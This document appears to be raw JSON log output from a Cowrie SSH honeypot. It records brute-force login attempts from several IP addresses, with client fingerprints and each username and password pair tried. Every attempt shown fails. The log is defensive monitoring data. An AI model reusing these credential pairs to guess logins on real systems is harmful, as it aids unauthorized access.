{"eventid":"cowrie.login.failed","username":"test","password":"qweqweqwe","message":"login attempt [test/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:07.010747Z","src_ip":"171.25.158.70","session":"442be87685bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:08.119737Z","src_ip":"171.25.158.70","session":"442be87685bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41964,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d89b361b4c","protocol":"ssh","message":"New connection: 159.203.92.129:41964 (159.203.135.109:22) [session: 89d89b361b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:43.190104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:43.195350Z","src_ip":"159.203.92.129","session":"89d89b361b4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:43.200540Z","src_ip":"159.203.92.129","session":"89d89b361b4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12342026","message":"login attempt [1234/12342026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:43.213338Z","src_ip":"159.203.92.129","session":"89d89b361b4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:44.219792Z","src_ip":"159.203.92.129","session":"89d89b361b4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24416,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e357bbb728c","protocol":"ssh","message":"New connection: 194.59.206.2:24416 (159.203.135.109:22) [session: 1e357bbb728c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:53.302465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:53.563038Z","src_ip":"194.59.206.2","session":"1e357bbb728c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:53.567312Z","src_ip":"194.59.206.2","session":"1e357bbb728c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":53776,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe680ee4667","protocol":"ssh","message":"New connection: 171.25.158.70:53776 (10.17.0.5:22) [session: 1fe680ee4667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:54.711633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:54.717877Z","src_ip":"171.25.158.70","session":"1fe680ee4667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:54.828569Z","src_ip":"171.25.158.70","session":"1fe680ee4667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:55.291803Z","src_ip":"194.59.206.2","session":"1e357bbb728c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qw23er4","message":"login attempt [ubuntu/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:55.318260Z","src_ip":"171.25.158.70","session":"1fe680ee4667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:25:56.430933Z","src_ip":"171.25.158.70","session":"1fe680ee4667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":34204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c231543c5995","protocol":"ssh","message":"New connection: 27.119.7.6:34204 (10.17.0.5:22) [session: c231543c5995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:22.513076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:22.518124Z","src_ip":"27.119.7.6","session":"c231543c5995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:22.710665Z","src_ip":"27.119.7.6","session":"c231543c5995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"manager123","message":"login attempt [admin/manager123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:23.512980Z","src_ip":"27.119.7.6","session":"c231543c5995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:24.736730Z","src_ip":"27.119.7.6","session":"c231543c5995","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60676,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb47655947af","protocol":"ssh","message":"New connection: 159.203.92.129:60676 (159.203.135.109:22) [session: cb47655947af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:26.678548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:26.683542Z","src_ip":"159.203.92.129","session":"cb47655947af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:26.688286Z","src_ip":"159.203.92.129","session":"cb47655947af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234456123","message":"login attempt [1234/1234456123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:26.700725Z","src_ip":"159.203.92.129","session":"cb47655947af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:27.707863Z","src_ip":"159.203.92.129","session":"cb47655947af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"03d480a0fbbe","protocol":"ssh","message":"New connection: 171.25.158.70:44472 (10.17.0.5:22) [session: 03d480a0fbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:44.012206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:44.017105Z","src_ip":"171.25.158.70","session":"03d480a0fbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:44.121718Z","src_ip":"171.25.158.70","session":"03d480a0fbbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"password@123","message":"login attempt [sftpuser/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:44.640073Z","src_ip":"171.25.158.70","session":"03d480a0fbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:26:45.792509Z","src_ip":"171.25.158.70","session":"03d480a0fbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46754,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7c64e9f6c8","protocol":"ssh","message":"New connection: 159.203.92.129:46754 (159.203.135.109:22) [session: cf7c64e9f6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:10.652548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:10.656691Z","src_ip":"159.203.92.129","session":"cf7c64e9f6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:10.661498Z","src_ip":"159.203.92.129","session":"cf7c64e9f6c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"12345","message":"login attempt [1234/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:10.672957Z","src_ip":"159.203.92.129","session":"cf7c64e9f6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:11.679996Z","src_ip":"159.203.92.129","session":"cf7c64e9f6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":57612,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bb1c163d438","protocol":"ssh","message":"New connection: 171.25.158.70:57612 (10.17.0.5:22) [session: 6bb1c163d438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:33.996667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:34.007858Z","src_ip":"171.25.158.70","session":"6bb1c163d438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:34.109074Z","src_ip":"171.25.158.70","session":"6bb1c163d438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:27:34.516984Z","src_ip":"171.25.158.70","session":"6bb1c163d438","protocol":"ssh"}
